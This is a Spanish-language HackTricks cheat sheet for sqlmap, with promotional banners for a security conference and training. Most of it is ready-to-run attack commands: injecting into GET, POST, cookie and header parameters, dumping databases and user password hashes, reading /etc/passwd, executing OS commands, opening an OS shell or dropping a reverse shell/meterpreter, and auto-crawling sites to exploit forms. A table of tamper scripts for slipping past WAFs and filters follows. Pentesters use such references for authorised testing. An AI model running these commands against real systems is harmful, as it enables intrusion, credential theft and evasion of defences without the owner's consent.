hacktricks/pentesting-web/sql-injection/sqlmap
2024-01-01 18:33:30 +00:00
..
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:33:30 +00:00
second-order-injection-sqlmap.md f 2023-06-05 20:33:24 +02:00

SQLMap - Hoja de Trucos

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

DragonJAR Security Conference es un evento internacional de ciberseguridad que lleva más de una década y se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de alto contenido técnico donde se presentan las últimas investigaciones en español y atrae a hackers e investigadores de todo el mundo. ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:

{% embed url="https://www.dragonjarcon.org/" %}

Argumentos básicos para SQLmap

Genéricos

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Recuperar Información

Interna

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Datos de la DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Lugar de inyección

Desde captura de Burp/ZAP

Captura la solicitud y crea un archivo req.txt

sqlmap -r req.txt --current-user

Inyección en peticiones GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Inyección en Solicitudes POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Inyecciones en Encabezados y otros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicar cadena cuando la inyección es exitosa

--string="string_showed_when_TRUE"

Eval

Sqlmap permite el uso de -e o --eval para procesar cada payload antes de enviarlo con una línea de código Python. Esto facilita y acelera el procesamiento del payload de maneras personalizadas antes de enviarlo. En el siguiente ejemplo, la sesión de cookie de flask se firma con el secreto conocido antes de enviarla:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Leer archivo

--file-read=/etc/passwd

Rastrear un sitio web con SQLmap y auto-explotar

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Inyección de Segundo Orden

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lee este post sobre cómo realizar inyecciones de segundo orden simples y complejas con sqlmap.

Laboratorios para practicar

  • Aprende sobre sqlmap usándolo en el THM room:

{% embed url="https://tryhackme.com/room/sqlmap" %}

Personalización de la Inyección

Establecer un sufijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ayuda para encontrar inyección booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Recuerda que puedes crear tu propio tamper en python y es muy sencillo. Puedes encontrar un ejemplo de tamper en la página de Inyección de Segundo Orden aquí.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descripción
apostrophemask.py Reemplaza el carácter apóstrofo con su contraparte de ancho completo UTF-8
apostrophenullencode.py Reemplaza el carácter apóstrofo con su contraparte doble unicode ilegal
appendnullbyte.py Añade el carácter de byte NULL codificado al final del payload
base64encode.py Codifica en Base64 todos los caracteres en un payload dado
between.py Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #'
bluecoat.py Reemplaza el carácter de espacio después de una sentencia SQL con un carácter en blanco válido y aleatorio. Luego reemplaza el carácter = con el operador LIKE
chardoubleencode.py Doble codificación url de todos los caracteres en un payload dado (sin procesar los ya codificados)
commalesslimit.py Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'
commalessmid.py Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)'
concat2concatws.py Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Codifica en url todos los caracteres en un payload dado (sin procesar los ya codificados)
charunicodeencode.py Codifica en url-unicode los caracteres no codificados en un payload dado (sin procesar los ya codificados). "%u0022"
charunicodeescape.py Escapa en url-unicode los caracteres no codificados en un payload dado (sin procesar los ya codificados). "\u0022"
equaltolike.py Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE'
escapequotes.py Escapa con barra invertida las comillas (' y ")
greatest.py Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST'
halfversionedmorekeywords.py Añade un comentario MySQL versionado antes de cada palabra clave
ifnull2ifisnull.py Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Encierra la consulta completa con un comentario versionado
modsecurityzeroversioned.py Encierra la consulta completa con un comentario versionado a cero
multiplespaces.py Añade múltiples espacios alrededor de palabras clave SQL
nonrecursivereplacement.py Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para filtros de reemplazo (p. ej., .replace("SELECT", ""))
percentage.py Añade un signo de porcentaje ('%') delante de cada carácter
overlongutf8.py Convierte todos los caracteres en un payload dado (sin procesar los ya codificados)
randomcase.py Reemplaza cada carácter de palabra clave con un valor de mayúsculas/minúsculas aleatorio
randomcomments.py Añade comentarios aleatorios a palabras clave SQL
securesphere.py Añade una cadena especialmente diseñada
sp_password.py Añade 'sp_password' al final del payload para obfuscación automática de los registros del DBMS
space2comment.py Reemplaza el carácter de espacio (' ') con comentarios
space2dash.py Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una cadena aleatoria y una nueva línea ('\n')
space2hash.py Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y una nueva línea ('\n')
space2morehash.py Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y una nueva línea ('\n')
space2mssqlblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mssqlhash.py Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una nueva línea ('\n')
space2mysqlblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mysqldash.py Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una nueva línea ('\n')
space2plus.py Reemplaza el carácter de espacio (' ') con un más ('+')
space2randomblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
symboliclogical.py Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y
unionalltounion.py Reemplaza UNION ALL SELECT con UNION SELECT
unmagicquotes.py Reemplaza el carácter de comilla (') con una combinación de multi-byte %bf%27 junto con un comentario genérico al final (para que funcione)
uppercase.py Reemplaza cada carácter de palabra clave con un valor en mayúsculas 'INSERT'
varnish.py Añade un encabezado HTTP 'X-originating-IP'
versionedkeywords.py Encierra cada palabra clave no funcional con un comentario MySQL versionado
versionedmorekeywords.py Encierra cada palabra clave con un comentario MySQL versionado
xforwardedfor.py Añade un falso encabezado HTTP 'X-Forwarded-For'

DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:

{% embed url="https://www.dragonjarcon.org/" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: